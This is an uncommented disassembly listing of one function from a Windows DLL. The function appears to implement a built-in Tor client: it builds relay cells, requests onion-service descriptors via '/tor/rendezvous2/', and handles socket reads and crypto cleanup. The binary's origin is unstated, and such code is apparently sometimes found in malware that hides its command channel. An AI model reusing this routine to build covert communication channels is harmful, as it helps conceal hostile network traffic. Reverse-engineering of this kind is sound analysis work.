lea rax, [rbp - 0x278]
mov qword [rsp + 0x78], rax
lea rax, [rbp - 0x270]
mov qword [rsp + 0x80], rax
lea rax, [rbp - 0x2f8]
mov qword [rsp + 0x88], rax
call fcn.1800078ca
add rsp, 0x90
test rax, rax
jle 0x180005a27
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
call fcn.180009e0b
add rsp, 0x20
mov rdi, qword [rbp - 0x970]
mov byte [rdi], 0x80
mov rax, qword [rbp - 0x60]
mov byte [rdi + 3], al
mov byte [rdi + 4], 3
mov byte [rdi + 5], 0xd
mov rax, qword [rbp - 0x68]
mov byte [rdi + 9], al
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x288]
mov r8, qword [rbp - 0x278]
mov r9, 0
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov rax, qword [rbp - 0x2e8]
mov qword [rsp + 0x30], rax
call fcn.18000803a
add rsp, 0x40
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x970]
mov r8, 0x202
mov r9, 0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1800095b6
add rsp, 0x30
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x968]
mov r8, 0x202
mov r9, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0x14
call fcn.180009b12
add rsp, 0x30
mov rdi, qword [rbp - 0x968]
test rax, rax
jne 0x180006017
cmp byte [rdi + 4], 3
jne 0x180005a27
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x280]
mov r8, qword [rbp - 0x270]
mov r9, 0
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov rax, qword [rbp - 0x2e0]
mov qword [rsp + 0x30], rax
call fcn.180008133
add rsp, 0x40
test rax, rax
je 0x180006017
cmp dword [rdi + 5], 4
jne 0x180005a27
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
call fcn.180009e0b
add rsp, 0x20
mov rdi, qword [rbp - 0x970]
mov byte [rdi], 0x80
mov rax, qword [rbp - 0x60]
mov byte [rdi + 3], al
mov byte [rdi + 4], 3
mov byte [rdi + 5], 2
mov rax, qword [rbp - 0x68]
mov byte [rdi + 9], al
sub rsp, 0x20
mov r9, qword [rbp - 0x840]
lea r8, [rbp - 0x6e9]
lea rdx, str.GET__tor_rendezvous2__s_HTTP_1.0_r_nHost:__s_r_nConnection:_close_r_n_r_n
lea rcx, [rdi + 0x10]
call qword [sym.imp.user32.dll_wsprintfA]
add rsp, 0x20
inc al
mov byte [rdi + 0xf], al
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x288]
mov r8, qword [rbp - 0x278]
mov r9, 0
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov rax, qword [rbp - 0x2e8]
mov qword [rsp + 0x30], rax
call fcn.18000803a
add rsp, 0x40
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x970]
mov r8, 0x202
mov r9, 0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1800095b6
add rsp, 0x30
mov qword [rbp - 0x80], 0
mov qword [rbp - 0x90], 2
mov qword [rbp - 0x98], 0
mov rsi, qword [rbp - 0x968]
mov rdi, qword [rbp - 0x970]
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, 0
lea r8, [rbp - 0x960]
mov r9, 0xa
mov qword [rsp + 0x20], 0
call fcn.1800039d2
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x960]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0x948]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
test eax, eax
js 0x180006017
cmp rax, 0
je 0x180005a27
sub rsp, 0x20
mov rcx, qword [rbp - 0x938]
lea rdx, [rbp - 0x930]
mov r8, qword [rbp + 0x20]
call fcn.1800097e3
add rsp, 0x20
test eax, eax
jle 0x180006017
mov rdx, qword [rbp - 0x968]
add rdx, qword [rbp - 0x80]
add qword [rbp - 0x80], rax
cmp qword [rbp - 0x80], 0x186a0
ja 0x18000604c
sub rsp, 0x20
mov rcx, qword [rbp - 0x930]
mov r8, rax
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x930]
call fcn.180009da1
add rsp, 0x20
mov rax, qword [rbp - 0x80]
xor rdx, rdx
mov rcx, 0x202
div rcx
cmp rdx, 0
jne 0x180005859
mov qword [rbp - 0x88], rax
jmp 0x180005a14
mov rax, qword [rbp - 0x60]
shl rax, 0x18
mov al, 0x80
cmp dword [rsi], eax
jne 0x180005a06
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x280]
mov r8, qword [rbp - 0x270]
mov r9, 0
lea rax, [rsi + 5]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x90]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x2e0]
mov qword [rsp + 0x30], rax
call fcn.180008133
add rsp, 0x40
test rax, rax
je 0x180006017
cmp word [rsi + 4], 0x503
je 0x180005a06
cmp word [rsi + 4], 0x203
jne 0x180005a27
movzx ecx, byte [rsi + 0xf]
mov ch, byte [rsi + 0xe]
mov r12, rcx
sub rsp, 0x20
lea rcx, [rsi + 0x10]
mov rdx, rdi
mov r8, r12
call fcn.180009fab
add rsp, 0x20
add rdi, r12
inc qword [rbp - 0x90]
add rsi, 0x202
dec qword [rbp - 0x88]
cmp qword [rbp - 0x88], 0
ja 0x180005969
jmp 0x180005859
sub rsp, 0x20
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x968]
mov r8, qword [rbp + 0x20]
mov r9, qword [rbp - 0x60]
call fcn.180007e4a
add rsp, 0x20
inc qword [rbp - 0x60]
inc qword [rbp - 0x68]
inc qword [rbp - 0x70]
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
movabs r8, str._____END_MESSAGE_____
call fcn.18000a204
add rsp, 0x20
test rax, rax
jne 0x180005aa5
cmp qword [rbp - 0x70], 3
jb 0x1800054b4
inc qword [rbp - 0xa0]
cmp qword [rbp - 0xa0], 2
jb 0x18000522e
jmp 0x18000604c
mov qword [rbp - 0x98], rax
jmp 0x18000600e
cmp qword [rbp - 0x7e8], 2
jne 0x180005d30
sub rsp, 0x90
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x58]
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x938]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x850]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x8a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp - 0x848]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp - 0x870]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x830]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x820]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rbp - 0x2a8]
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x2a0]
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x298]
mov qword [rsp + 0x78], rax
lea rax, [rbp - 0x290]
mov qword [rsp + 0x80], rax
lea rax, [rbp - 0x318]
mov qword [rsp + 0x88], rax
call fcn.1800078ca
add rsp, 0x90
test rax, rax
jle 0x180006017
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
call fcn.180009e0b
add rsp, 0x20
mov rdi, qword [rbp - 0x970]
mov byte [rdi], 0x80
mov byte [rdi + 3], 1
mov byte [rdi + 4], 3
mov byte [rdi + 5], 0x21
mov byte [rdi + 0xf], 0x14
mov r12, 0
jmp 0x180005bf0
sub rsp, 0x20
mov rcx, 0x100
call fcn.180009f59
add rsp, 0x20
mov byte [r12 + rbp - 0x738], al
inc r12
cmp r12, 0x14
jb 0x180005bd1
sub rsp, 0x20
lea rcx, [rbp - 0x738]
lea rdx, [rdi + 0x10]
mov r8, 0x14
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x2a8]
mov r8, qword [rbp - 0x298]
mov r9, 0
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov rax, qword [rbp - 0x308]
mov qword [rsp + 0x30], rax
call fcn.18000803a
add rsp, 0x40
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x970]
mov r8, 0x202
mov r9, 0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1800095b6
add rsp, 0x30
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, qword [rbp - 0x968]
mov r8, 0x202
mov r9, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0x14
call fcn.180009b12
add rsp, 0x30
mov rdi, qword [rbp - 0x968]
test rax, rax
jne 0x180006017
cmp byte [rdi + 4], 3
jne 0x180006017
sub rsp, 0x40
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x2a0]
mov r8, qword [rbp - 0x290]
mov r9, 0
lea rax, [rdi + 5]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov rax, qword [rbp - 0x300]
mov qword [rsp + 0x30], rax
call fcn.180008133
add rsp, 0x40
test rax, rax
je 0x180006017
cmp dword [rdi + 5], 0x27
jne 0x180006017
jmp 0x18000600e
cmp qword [rbp - 0x7e8], 0
jne 0x18000600e
sub rsp, 0x30
mov rcx, qword [rbp - 0x858]
mov rdx, qword [rbp - 0x880]
mov r8, qword [rbp + 0x20]
mov r9, qword [rbp + 0x28]
lea rax, [rbp - 0x938]
mov qword [rsp + 0x20], rax
call fcn.1800070e7
add rsp, 0x30
test rax, rax
je 0x180006017
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
lea rdx, [0x18000d386]
mov r8, 7
mov r9, 0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1800095b6
add rsp, 0x30
mov qword [rbp - 0x930], 0
sub rsp, 0x20
mov rcx, 0x186a0
lea rdx, [rbp - 0x968]
call fcn.180009d34
add rsp, 0x20
test rax, rax
je 0x180006017
sub rsp, 0x20
mov rcx, 0x186a0
lea rdx, [rbp - 0x970]
call fcn.180009d34
add rsp, 0x20
test rax, rax
je 0x180006017
mov rdi, qword [rbp - 0x968]
mov qword [rbp - 0x80], 0
mov qword [rbp - 0x90], 0
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, 0
lea r8, [rbp - 0x960]
mov r9, 0xa
mov qword [rsp + 0x20], 0
call fcn.1800039d2
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x960]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0x948]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
test eax, eax
jle 0x180006017
sub rsp, 0x20
mov rcx, qword [rbp - 0x938]
lea rdx, [rbp - 0x930]
mov r8, qword [rbp + 0x20]
call fcn.1800097e3
add rsp, 0x20
test eax, eax
jle 0x180006017
add qword [rbp - 0x80], rax
mov rsi, qword [rbp - 0x930]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
sub rsp, 0x20
lea rcx, [rbp - 0x930]
call fcn.180009da1
add rsp, 0x20
cmp qword [rbp - 0x80], 0x202
jb 0x180005e15
mov rdx, qword [rbp - 0x968]
movzx eax, word [rdx + 0x10]
xchg al, ah
lea rcx, [rax + 0x19]
cmp rcx, qword [rbp - 0x80]
ja 0x180005e15
movzx ecx, word [rax + rdx + 0x17]
xchg cl, ch
lea rcx, [rcx + rax + 0x21b]
cmp qword [rbp - 0x80], rcx
jne 0x180006009
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, 0xa
lea r8, [rbp - 0x720]
call fcn.18000386c
add rsp, 0x20
movzx eax, byte [rbp - 0x720]
imul rax, rax, 0x15180
xor rdx, rdx
mov rcx, 0x100
div rcx
mov rbx, rax
mov eax, dword [rdi - 0x1fd]
bswap eax
add rax, rbx
xor rdx, rdx
mov rcx, 0x15180
div rcx
bswap eax
mov dword [rbp - 0x702], eax
sub rsp, 0x20
mov rcx, qword [rbp - 0x970]
mov rdx, 0x186a0
call fcn.180009e0b
add rsp, 0x20
mov rsi, qword [rbp - 0x970]
mov byte [rsi + 4], 8
sub rsp, 0x20
lea rcx, [rdi - 0x1fd]
lea rdx, [rsi + 5]
mov r8, 4
call fcn.180009fab
add rsp, 0x20
mov word [rsi + 9], 0x404
sub rsp, 0x20
mov rcx, qword [rbp - 0x858]
call qword [sym.imp.ws2_32.dll_inet_addr]
add rsp, 0x20
mov dword [rsi + 0xb], eax
mov dword [rsi + 0xf], 0x40401
sub rsp, 0x30
mov rcx, qword [rbp - 0x938]
mov rdx, rsi
mov r8, 0x202
mov r9, 0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1800095b6
add rsp, 0x30
jmp 0x18000600e
jmp 0x180005e15
inc qword [rbp - 0x7e8]
jmp 0x18000603e
sub rsp, 0x20
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
mov r8, qword [rbp - 0x938]
call fcn.18000347e
add rsp, 0x20
mov qword [rbp - 0x7e8], 0
cmp qword [rbp - 0x7e8], 4
jbe 0x180004291
mov qword [rbp - 0x80], 0xc
cmp qword [rbp - 0x980], 1
je 0x180006066
mov qword [rbp - 0x80], 0xe
sub rsp, 0x20
lea rcx, [rbp - 0x318]
mov rdx, 0
mov r8, qword [rbp - 0x80]
call fcn.1800035f2
add rsp, 0x20
mov qword [rbp - 0x80], 8
mov qword [rbp - 0x90], 4
cmp qword [rbp - 0x980], 1
je 0x1800060b5
mov qword [rbp - 0x80], 0xe
mov qword [rbp - 0x90], 0
sub rsp, 0x20
lea rcx, [rbp - 0x2a8]
mov rdx, qword [rbp - 0x90]
mov r8, qword [rbp - 0x80]
call fcn.180003561
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 0
call qword [sym.imp.advapi32.dll_CryptReleaseContext]
add rsp, 0x20
cmp qword [rbp - 0x980], 1
je 0x180006137
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptCloseAlgorithmProvider
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x48]
mov rdx, 0
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptCloseAlgorithmProvider
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x50]
mov rdx, 0
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
lea rcx, str.bcrypt.dll
call fcn.18000a4d8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
lea rdx, str.BCryptCloseAlgorithmProvider
call fcn.18000a390
add rsp, 0x20
mov rcx, qword [rbp - 0x58]
mov rdx, 0
sub rsp, 0x20
call rax
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x938]
mov rdx, qword [rbp + 0x30]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x320]
call fcn.180009da1
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x978]
call fcn.180009da1
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x968]
call fcn.180009da1
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x970]
call fcn.180009da1
add rsp, 0x20
mov rax, qword [rbp - 0x980]
add rsp, 0x948
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret